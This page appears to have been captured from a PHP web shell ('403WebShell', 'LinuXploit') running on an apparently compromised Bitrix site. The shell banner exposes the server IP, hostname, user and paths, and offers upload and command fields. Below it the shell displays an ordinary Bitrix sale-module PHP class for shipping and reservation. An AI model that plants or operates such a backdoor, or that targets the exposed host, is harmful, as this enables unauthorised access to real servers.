%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.145.74.249
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/internals/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/internals/transferprovidercompatibility.php
<?php

namespace Bitrix\Sale\Internals;

use Bitrix\Catalog;
use Bitrix\Sale;
use Bitrix\Main;

/**
 * Class TransferProviderCompatibility
 */
class TransferProviderCompatibility extends TransferProviderBase
{
	/**
	 * @param array $products
	 *
	 * @return Sale\Result
	 * @throws Main\ObjectNotFoundException
	 */
	public function tryShip(array $products)
	{
		Main\Loader::includeModule('catalog');
		$result = new Sale\Result();

		$tryShipmentItemList = array();
		$reservedQuantityList = array();
		$shipmentItemParents = array();

		$shipmentItemList = static::getShipmentItemListFromProducts($products);
		if (!empty($shipmentItemList))
		{
			/** @var Sale\ShipmentItem $shipmentItem */
			foreach ($shipmentItemList as $shipmentItem)
			{
				/** @var Sale\ShipmentItemCollection $shipmentItemCollection */
				$shipmentItemCollection = $shipmentItem->getCollection();
				if (!$shipmentItemCollection)
				{
					throw new Main\ObjectNotFoundException('Entity "ShipmentItemCollection" not found');
				}

				$shipment = $shipmentItemCollection->getShipment();
				if (!$shipment)
				{
					throw new Main\ObjectNotFoundException('Entity "Shipment" not found');
				}

				$shipmentItemParents[$shipmentItem->getInternalIndex()] = $shipment;

				$basketItem = $shipmentItem->getBasketItem();

				$provider = $basketItem->getProviderEntity();

				if ($provider instanceof Catalog\Product\CatalogProvider)
				{
					continue;
				}

				if ($shipment->needShip() === Sale\Internals\Catalog\Provider::SALE_TRANSFER_PROVIDER_SHIPMENT_NEED_SHIP
					&& !array_key_exists($shipment->getInternalIndex(), $reservedQuantityList))
				{
					$reservedQuantityList[$shipment->getInternalIndex()] = static::getReservedQuantity($shipment);
				}

				$tryShipmentItemList[$shipmentItem->getInternalIndex()] = $shipmentItem;
			}
		}

		if (!empty($tryShipmentItemList))
		{

			$reservedQuantityList = array();

			$r = Sale\Provider::tryShipmentItemList($tryShipmentItemList);

			if (!$r->isSuccess())
			{
				$result->addErrors($r->getErrors());
			}

			$data = $r->getData();
			if (!empty($data) && is_array($data))
			{
				/**
				 * @var string $basketCode
				 * @var Sale\Result $resultTryShipment
				 */
				foreach ($data as $basketCode => $resultTryShipment)
				{
					if (!$resultTryShipment->isSuccess())
					{
						$result->addErrors($resultTryShipment->getErrors());
					}
				}
			}

			if ($result->isSuccess())
			{
				if (!empty($reservedQuantityList))
				{
					static::setReservedQuantityToShipmentItem($tryShipmentItemList, $reservedQuantityList);
				}

				$resultList = static::createListFromTryShipmentResult($tryShipmentItemList, $r);
			}
		}

		if (!empty($resultList))
		{
			$result->addData(
				array(
					'TRY_SHIP_PRODUCTS_LIST' => $resultList
				)
			);
		}

		return $result;
	}

	/**
	 * @param array $products
	 *
	 * @return Sale\Result
	 * @throws Main\ObjectNotFoundException
	 */
	public function isNeedShip(array $products)
	{
		Main\Loader::includeModule('catalog');
		$result = new Sale\Result();

		$resultNeedShipList = array();
		$needShipmentItemList = array();

		$shipmentItemList = static::getShipmentItemListFromProducts($products);
		if (!empty($shipmentItemList))
		{
			/** @var Sale\ShipmentItem $shipmentItem */
			foreach ($shipmentItemList as $shipmentItem)
			{
				/** @var Sale\ShipmentItemCollection $shipmentItemCollection */
				$shipmentItemCollection = $shipmentItem->getCollection();
				if (!$shipmentItemCollection)
				{
					throw new Main\ObjectNotFoundException('Entity "ShipmentItemCollection" not found');
				}

				$shipment = $shipmentItemCollection->getShipment();
				if (!$shipment)
				{
					throw new Main\ObjectNotFoundException('Entity "Shipment" not found');
				}

				$basketItem = $shipmentItem->getBasketItem();

				$provider = $basketItem->getProviderEntity();

				if ($provider instanceof Catalog\Product\CatalogProvider)
				{
					continue;
				}

				$needShipmentItemList[$shipmentItem->getInternalIndex()] = $shipmentItem;
			}
		}

		if (!empty($needShipmentItemList))
		{
			$r = Sale\Provider::isNeedShip($needShipmentItemList);
			if (!$r->isSuccess())
			{
				$result->addErrors($r->getErrors());
			}

			$data = $r->getData();
			if (!empty($data) && is_array($data))
			{
				$needShipmentItemList = $data;
			}

		}

		if (!empty($needShipmentItemList))
		{
			$result->setData(
				array(
					'IS_NEED_SHIP' => $needShipmentItemList
				)
			);
		}

		return $result;
	}

	/**
	 * @param Sale\Shipment $shipment
	 *
	 * @return array
	 * @throws Main\ObjectNotFoundException
	 */
	private static function getReservedQuantity(Sale\Shipment $shipment)
	{
		$reservedQuantityList = array();
		$shipmentItemCollection = $shipment->getShipmentItemCollection();
		if (!$shipmentItemCollection)
		{
			throw new Main\ObjectNotFoundException('Entity "ShipmentItemCollection" not found');
		}

		/** @var Sale\ShipmentItem $shipmentItem */
		foreach ($shipmentItemCollection as $shipmentItem)
		{
			$reservedQuantityList[$shipmentItem->getInternalIndex()] = $shipmentItem->getReservedQuantity();
		}

		return $reservedQuantityList;
	}

	/**
	 * @param Sale\ShipmentItem[] $shipmentItemList
	 * @param array $reservedQuantityList
	 *
	 * @throws Main\ObjectNotFoundException
	 */
	private static function setReservedQuantityToShipmentItem($shipmentItemList, array $reservedQuantityList)
	{
		/** @var Sale\ShipmentItem $shipmentItem */
		foreach ($shipmentItemList as $shipmentItem)
		{
			$shipmentItemIndex = $shipmentItem->getInternalIndex();
			if (!empty($reservedQuantityList[$shipmentItemIndex]))
			{
				$shipmentItem->setFieldNoDemand('RESERVED_QUANTITY', $reservedQuantityList[$shipmentItemIndex]);
			}
		}

	}

	/**
	 * @param array $products
	 *
	 * @return Sale\Result
	 * @throws Main\ObjectNotFoundException
	 */
	public function ship(array $products)
	{
		$basketItemList = array();
		$shipmentItemList = array();
		$basketItemShipmentItemList = array();
		$shipmentItemQuantityList = array();

		$oneReserveStatus = true;
		$needReserved = null;
		$reservedList = array();

		$resultList = array();

		foreach ($products as $productId => $itemData)
		{
			$fields = $itemData;

			if (!empty($fields['SHIPMENT_ITEM_LIST']))
			{
				/** @var Sale\ShipmentItem $shipmentItem */
				foreach ($fields['SHIPMENT_ITEM_LIST'] as $shipmentIndexItem => $shipmentItem)
				{
					$shipmentItemList[$shipmentIndexItem] = $shipmentItem;

					$basketItem = $shipmentItem->getBasketItem();
					if (!$basketItem)
					{
						throw new Main\ObjectNotFoundException('Entity "BasketItemBase" not found');
					}
//
					$basketCode = $basketItem->getBasketCode();
					$basketItemList[$basketCode] = $basketItem;
//
//					/** @var Sale\ShipmentItemCollection $shipmentItemCollection */
//					$shipmentItemCollection = $shipmentItem->getCollection();
//					if (!$shipmentItemCollection)
//					{
//						throw new Main\ObjectNotFoundException('Entity "ShipmentItemCollection" not found');
//					}
//
//					$shipment = $shipmentItemCollection->getShipment();
//					if (!$shipment)
//					{
//						throw new Main\ObjectNotFoundException('Entity "Shipment" not found');
//					}
//
					$basketItemShipmentItemList[$basketCode][$shipmentIndexItem] = $shipmentItem;
				}
			}

			if (!empty($fields['NEED_RESERVE_LIST']))
			{
				foreach ($fields['NEED_RESERVE_LIST'] as $shipmentItemIndex => $reserved)
				{
					$reserveValue = $reserved ? 'Y': 'N';

					$reservedList[$reserveValue][] = $shipmentItemIndex;
					if (!empty($reservedList) && !isset($reservedList[$reserveValue]))
					{
						$oneReserveStatus = false;
					}
					elseif ($needReserved === null)
					{
						$needReserved = $reserved;
					}

				}
			}

			if (!empty($fields['SHIPMENT_ITEM_QUANTITY_LIST']))
			{
				foreach ($fields['SHIPMENT_ITEM_QUANTITY_LIST'] as $shipmentItemIndex => $quantity)
				{
					$shipmentItemQuantityList[$fields['BASKET_CODE']][$shipmentItemIndex] = $quantity;
				}
			}

			$resultList[$productId] = false;
		}

		$result = new Sale\Result();

		$r = static::tryShip($products);
		if (!$r->isSuccess())
		{
			$result->addErrors($r->getErrors());
		}
		elseif ($r->hasWarnings())
		{
			$result->addWarnings($r->getWarnings());
		}

		if (!empty($basketItemList))
		{
			/** @var Sale\BasketItemBase $basketItem */
			foreach ($basketItemList as $basketItem)
			{
				$productId = $basketItem->getProductId();
				$productData = $products[$productId];
				$basketCode = $basketItem->getBasketCode();
				$quantity = $productData['QUANTITY_LIST'][$basketCode];

				$shipmentFieldsList = array();
				if (!$oneReserveStatus)
				{
					/**
					 * @var string $reserveValue
					 * @var Sale\ShipmentItem $shipmentItem
					 */
					foreach ($reservedList as $reserveValue => $shipmentItemIndexList)
					{
						$quantity = 0;
						foreach ($shipmentItemIndexList as $shipmentItemIndex)
						{
							if (isset($shipmentItemQuantityList[$basketCode][$shipmentItemIndex]))
							{
								$quantity += $shipmentItemQuantityList[$basketCode][$shipmentItemIndex];
							}
						}


						$shipmentFieldsList[] = array(
							'BASKET_ITEM' => $basketItem,
							'BASKET_CODE' => $basketItem->getBasketCode(),
							'PRODUCT_ID' => $productId,
							'QUANTITY' => abs($quantity),
							'DEDUCTED' => $quantity < 0,
							'RESERVED' => $reserveValue,
						);
					}
				}
				else
				{
					$shipmentFieldsList[] = array(
						'BASKET_ITEM' => $basketItem,
						'BASKET_CODE' => $basketItem->getBasketCode(),
						'PRODUCT_ID' => $productId,
						'QUANTITY' => abs($quantity),
						'DEDUCTED' => $quantity < 0,
						'RESERVED' => $needReserved,
					);
				}



				$provider = $basketItem->getProvider();

				$storeDataList = array();

				if (!empty($productData['STORE_DATA_LIST']))
				{
					$storeDataList = $productData['STORE_DATA_LIST'];
				}

				foreach ($shipmentFieldsList as $shipFields)
				{
					$r = Sale\Provider::shipProductData($provider, $shipFields, $storeDataList);
					if ($r->isSuccess())
					{
						$productId = $basketItem->getProductId();
						$resultList[$productId] = true;
					}
					elseif ($r->hasWarnings())
					{
						$result->addWarnings($r->getWarnings());
					}
					else
					{
						$result->addErrors($r->getErrors());
					}
				}
			}
		}

		if (!empty($resultList))
		{
			$result->setData(
				array(
					'SHIPPED_PRODUCTS_LIST' => $resultList
				)
			);
		}

		return $result;
	}

	/**
	 * @param array $products
	 *
	 * @return Sale\Result
	 * @throws Main\ObjectNotFoundException
	 */
	public function reserve(array $products)
	{
		$result = new Sale\Result();
		$resultList = array();

		foreach ($products as $productId => $productData)
		{
			$productQuantity = 0;
			if (array_key_exists('QUANTITY', $productData))
			{
				$productQuantity = $productData['QUANTITY'];
			}
			elseif (!empty($productData['QUANTITY_LIST']))
			{
				foreach ($productData['QUANTITY_LIST'] as $basketCode => $quantity)
				{
					$productQuantity += $quantity;
				}
			}

			/**
			 * @var Sale\ProviderBase $product
			 * @var Sale\Result $r
			 */
			$r = Sale\Provider::reserveProduct($this->getProviderClass(), $productId, $productQuantity);
			if ($r->isSuccess())
			{
				$fields = $r->getData();
				if (!empty($fields))
				{
					$resultList[$productId] = array(
						'QUANTITY_RESERVED' => $fields['QUANTITY']
					);
				}
			}
			else
			{
				$result->addErrors($r->getErrors());
			}

			if ($r->hasWarnings())
			{
				$result->addWarnings($r->getWarnings());
			}
		}

		if (!empty($resultList))
		{
			$result->setData(
				array(
					'RESERVED_PRODUCTS_LIST' => $resultList
				)
			);
		}

		return $result;
	}

	/**
	 * @param array $products
	 *
	 * @return array
	 */
	private static function getShipmentItemListFromProducts(array $products)
	{
		$resultList = array();

		foreach ($products as $productData)
		{
			/** @var Sale\ShipmentItem $shipmentItem */
			foreach ($productData['SHIPMENT_ITEM_LIST'] as $shipmentItem)
			{
				if (!array_key_exists($shipmentItem->getInternalIndex(), $resultList))
				{
					$resultList[$shipmentItem->getInternalIndex()] = $shipmentItem;
				}
			}
		}

		return $resultList;
	}

	/**
	 * @param Sale\ShipmentItem[] $shipmentItemList
	 * @param Sale\Result $result
	 *
	 * @return array
	 * @throws Main\ObjectNotFoundException
	 */
	private static function createListFromTryShipmentResult($shipmentItemList, Sale\Result $result)
	{
		if (!$result->isSuccess())
		{
			return array();
		}

		$basketCodeList = array();
		$basketItemList = array();
		foreach ($shipmentItemList as $shipmentItem)
		{
			$basketItem = $shipmentItem->getBasketItem();
			$basketCodeList[$shipmentItem->getInternalIndex()] = $basketItem->getBasketCode();

			$basketItemList[$basketItem->getBasketCode()] = $basketItem;
		}

		$resultList = array();

		$data = $result->getData();
		if (!empty($data))
		{
			/**
			 * @var string $basketCode
			 * @var Sale\Result $resultTryShipment
			 */
			foreach ($data as $basketCode => $resultTryShipment)
			{
				if (!isset($basketItemList[$basketCode]))
				{
					throw new Main\ObjectNotFoundException('Entity "Basket" not found');
				}

				$basketItem = $basketItemList[$basketCode];

				$resultList[$basketItem->getProductId()] = $resultTryShipment->isSuccess();
			}
		}

		return $resultList;
	}

	/**
	 * @param PoolQuantity $pool
	 * @param array $products
	 * @param array $productTryShipList
	 *
	 * @return Sale\Result
	 * @throws Main\ArgumentException
	 */
	public function setItemsResultAfterTryShip(PoolQuantity $pool, array $products, array $productTryShipList)
	{
		return new Sale\Result();
	}

	/**
	 * @param PoolQuantity $pool
	 * @param array $products
	 * @param array $productTryShipList
	 *
	 * @return Sale\Result
	 * @throws Main\ArgumentException
	 */
	public function setItemsResultAfterTryUnship(PoolQuantity $pool, array $products, array $productTryShipList)
	{
		return new Sale\Result();
	}

	/**
	 * @param array $products
	 *
	 * @return Sale\Result
	 * @throws Main\ObjectNotFoundException
	 */
	public function getAvailableQuantity(array $products)
	{
		/** @var Sale\SaleProviderBase $providerClass */
		return Sale\Provider::getAvailableQuantity($this->getProviderClass(), $products, $this->getContext());
	}

	/**
	 * @param array $products
	 *
	 * @return Sale\Result
	 * @throws Main\ObjectNotFoundException
	 */
	public function getAvailableQuantityAndPrice(array $products)
	{
		/** @var Sale\SaleProviderBase $providerClass */
		return Sale\Provider::getAvailableQuantityAndPrice($this->getProviderClass(), $products, $this->getContext());
	}

	/**
	 * @param array $products
	 *
	 * @return Sale\Result
	 * @throws Main\ObjectNotFoundException
	 */
	public function getProductData(array $products)
	{
		$providerName = null;
		$providerClass = $this->getProviderClass();
		if ($providerClass)
		{
			$reflect = new \ReflectionClass($providerClass);
			$providerName = $reflect->getName();
		}

		return Sale\Provider::getProductDataByList($products, $providerName, array('PRICE','QUANTITY','CHECK_DISCOUNT', 'AVAILABLE_QUANTITY', 'COUPONS'), $this->getContext());
	}

	/**
	 * @param array $products
	 *
	 * @return Sale\Result
	 */
	public function getBundleItems(array $products)
	{
		return Sale\Provider::getBundleChildItems($this->getProviderClass(), $products);
	}

	/**
	 * @return Sale\Result
	 */
	public function getStoresCount()
	{
		$context = $this->getContext();
		$parameters = (isset($context['SITE_ID'])? array("SITE_ID" => $context['SITE_ID']) : array());
		return Sale\Provider::getStoresCount($parameters);
	}


	/**
	 * @param array $products
	 *
	 * @return mixed
	 * @throws Main\SystemException
	 */
	public function deliver(array $products)
	{
		Main\Loader::includeModule('catalog');
		$result = new Sale\Result();
		$resultList = array();

		$productOrderList = Catalog\Product\CatalogProvider::createOrderListFromProducts($products);
		foreach ($products as $productId => $productData)
		{
			if (empty($productOrderList[$productId]))
			{
				continue;
			}

			/** @var Sale\Order $order */
			foreach ($productOrderList[$productId] as $order)
			{
				$resultList[$productId] = false;
				if (!empty($productData['SHIPMENT_ITEM_LIST']))
				{

					$quantityList = array();

					if (isset($productData['QUANTITY_LIST']))
					{
						$quantityList = $productData['QUANTITY_LIST'];
					}
					/**
					 * @var $shipmentIndex
					 * @var Sale\ShipmentItem $shipmentItem
					 */
					foreach ($productData['SHIPMENT_ITEM_LIST'] as $shipmentIndex => $shipmentItem)
					{

						/** @var Sale\ShipmentItemCollection $shipmentItemCollection */
						$shipmentItemCollection = $shipmentItem->getCollection();
						if (!$shipmentItemCollection)
						{
							throw new Main\ObjectNotFoundException('Entity "ShipmentItemCollection" not found');
						}

						$shipment = $shipmentItemCollection->getShipment();

						$basketItem = $shipmentItem->getBasketItem();

						$basketCode = $basketItem->getBasketCode();
						$quantity = null;

						if (isset($quantityList[$basketCode]))
						{
							$quantity = $quantityList[$basketCode];
						}

						$fields = array(
							"PRODUCT_ID" => $productId,
							"USER_ID"    => $order->getUserId(),
							"PAID"		 => $order->isPaid() ? 'Y' : 'N',
							"ORDER_ID"   => $order->getId(),

							"BASKET_CODE"   => $basketCode,
							"CALLBACK_FUNC"   => $basketItem->getField('CALLBACK_FUNC'),
							"MODULE"   => $basketItem->getField('MODULE'),
							"ALLOW_DELIVERY"   => $shipment->getField('ALLOW_DELIVERY'),
							"QUANTITY"   => $quantity,
						);

						$r = Sale\Provider::deliverProductData($this->getProviderClass(), $fields);
						if ($r->isSuccess())
						{
							$resultData = $r->getData();

							if (array_key_exists($productId, $resultData))
							{
								$resultList[$productId] = $resultData[$productId];
							}
						}
					}
				}

			}

		}


		if (!empty($resultList))
		{
			$result->setData(
				array(
					'DELIVER_PRODUCTS_LIST' => $resultList
				)
			);
		}

		return $result;
	}

	/**
	 * @param array $products
	 *
	 * @return mixed
	 * @throws Main\SystemException
	 */
	public function viewProduct(array $products)
	{
		global $USER;
		Main\Loader::includeModule('catalog');
		$result = new Sale\Result();
		$resultList = array();

		$productOrderList = Catalog\Product\CatalogProvider::createOrderListFromProducts($products);
		foreach ($products as $productId => $productData)
		{
			$productParamsList = array();
			if (!empty($productOrderList[$productId]))
			{
				/** @var Sale\Order $order */
				foreach ($productOrderList[$productId] as $order)
				{
					$hash = $order->getUserId()."|".$order->getSiteId();

					if (!isset($productParamsList[$hash]))
					{
						$productParamsList[$hash] = array(
							'PRODUCT_ID' => $productId,
							'USER_ID' => $order->getUserId(),
							'SITE_ID' => $order->getSiteId(),
						);
					}

				}
			}
			else
			{
				$hash = $USER->getId() . "|" .SITE_ID;
				if (!isset($productParamsList[$hash]))
				{
					$productParamsList[$hash] = array(
						'PRODUCT_ID' => $productId,
						'USER_ID' => $USER->getId(),
						'SITE_ID' => SITE_ID,
					);
				}
			}

			foreach ($productParamsList as $productParams)
			{
				$r = Sale\Provider::getViewProduct($this->getProviderClass(), $productParams);
				if ($r->isSuccess())
				{
					$resultData = $r->getData();
					if (array_key_exists($productId, $resultData))
					{
						$resultList[$productId] = $resultData[$productId];
					}

				}
			}

		}


		if (!empty($resultList))
		{
			$result->setData(
				array(
					'VIEW_PRODUCTS_LIST' => $resultList
				)
			);
		}

		return $result;
	}

	/**
	 * @param array $products
	 *
	 * @return mixed
	 * @throws Main\SystemException
	 */
	public function getProductListStores(array $products)
	{
		Main\Loader::includeModule('catalog');
		$result = new Sale\Result();
		$resultList = array();


		$productOrderList = Catalog\Product\CatalogProvider::createOrderListFromProducts($products);
		foreach ($products as $productId => $productData)
		{
			$productParamsList = array();
			if (!empty($productOrderList[$productId]))
			{
				/** @var Sale\Order $order */
				foreach ($productOrderList[$productId] as $order)
				{
					$hash = $order->getSiteId();

					if (!isset($productParamsList[$hash]))
					{
						$productParamsList[$hash] = array(
							'PRODUCT_ID' => $productId,
							'SITE_ID' => $order->getSiteId(),
						);
					}

				}
			}
			else
			{
				$hash = SITE_ID;
				if (!isset($productParamsList[$hash]))
				{
					$productParamsList[$hash] = array(
						'PRODUCT_ID' => $productId,
						'SITE_ID' => SITE_ID,
					);
				}
			}

			foreach ($productParamsList as $productParams)
			{
				$r = Sale\Provider::getStores($this->getProviderClass(), $productParams);
				if ($r->isSuccess())
				{
					$resultData = $r->getData();
					if (array_key_exists($productId, $resultData))
					{
						$resultList[$productId] = $resultData[$productId];
					}

				}
			}

		}

		if (!empty($resultList))
		{
			$result->setData(
				array(
					'PRODUCT_STORES_LIST' => $resultList
				)
			);
		}

		return $result;
	}

	/**
	 * @param array $items
	 *
	 * @return Sale\Result
	 * @throws Main\ObjectNotFoundException
	 */
	public function checkBarcode(array $items)
	{
		$result = new Sale\Result();
		$resultList = array();

		foreach ($items as $productId => $barcodeParams)
		{
			/**
			 * @var Sale\ProviderBase $product
			 * @var Sale\Result $r
			 */
			$r = Sale\Provider::checkBarcode($this->getProviderClass(), $barcodeParams);
			if ($r->isSuccess())
			{
				$resultData = $r->getData();
				if (!empty($resultData) && array_key_exists($productId, $resultData))
				{
					$resultList[$barcodeParams['BARCODE']] = $resultData[$productId];
				}
			}
			else
			{
				$result->addErrors($r->getErrors());
			}

			if ($r->hasWarnings())
			{
				$result->addWarnings($r->getWarnings());
			}
		}

		if (!empty($resultList))
		{
			$result->setData(
				array(
					'RESERVED_PRODUCTS_LIST' => $resultList
				)
			);
		}

		return $result;
	}

	/**
	 * @param array $products
	 *
	 * @return mixed
	 * @throws Main\SystemException
	 */
	public function recurring(array $products)
	{
		global $USER;
		Main\Loader::includeModule('catalog');

		$result = new Sale\Result();
		$resultList = array();

		$productOrderList = Catalog\Product\CatalogProvider::createOrderListFromProducts($products);
		foreach ($products as $productId => $productData)
		{
			$productParamsList = array();
			if (!empty($productOrderList[$productId]))
			{
				/** @var Sale\Order $order */
				foreach ($productOrderList[$productId] as $order)
				{
					$hash = $order->getUserId();

					if (!isset($productParamsList[$hash]))
					{
						$productParamsList[$hash] = array(
							'PRODUCT_ID' => $productId,
							'USER_ID' => $order->getUserId(),
						);
					}

				}
			}
			else
			{
				$hash = $USER->getId();
				if (!isset($productParamsList[$hash]))
				{
					$productParamsList[$hash] = array(
						'PRODUCT_ID' => $productId,
						'USER_ID' => $USER->getId(),
					);
				}
			}

			foreach ($productParamsList as $productParams)
			{
				$r = Sale\Provider::recurringProduct($this->getProviderClass(), $productParams);
				if ($r->isSuccess())
				{
					$resultData = $r->getData();

					if (array_key_exists($productId, $resultData))
					{
						$resultList[$productId] = $resultData[$productId];
					}
				}
			}

		}


		if (!empty($resultList))
		{
			$result->setData(
				array(
					'RECURRING_PRODUCTS_LIST' => $resultList
				)
			);
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit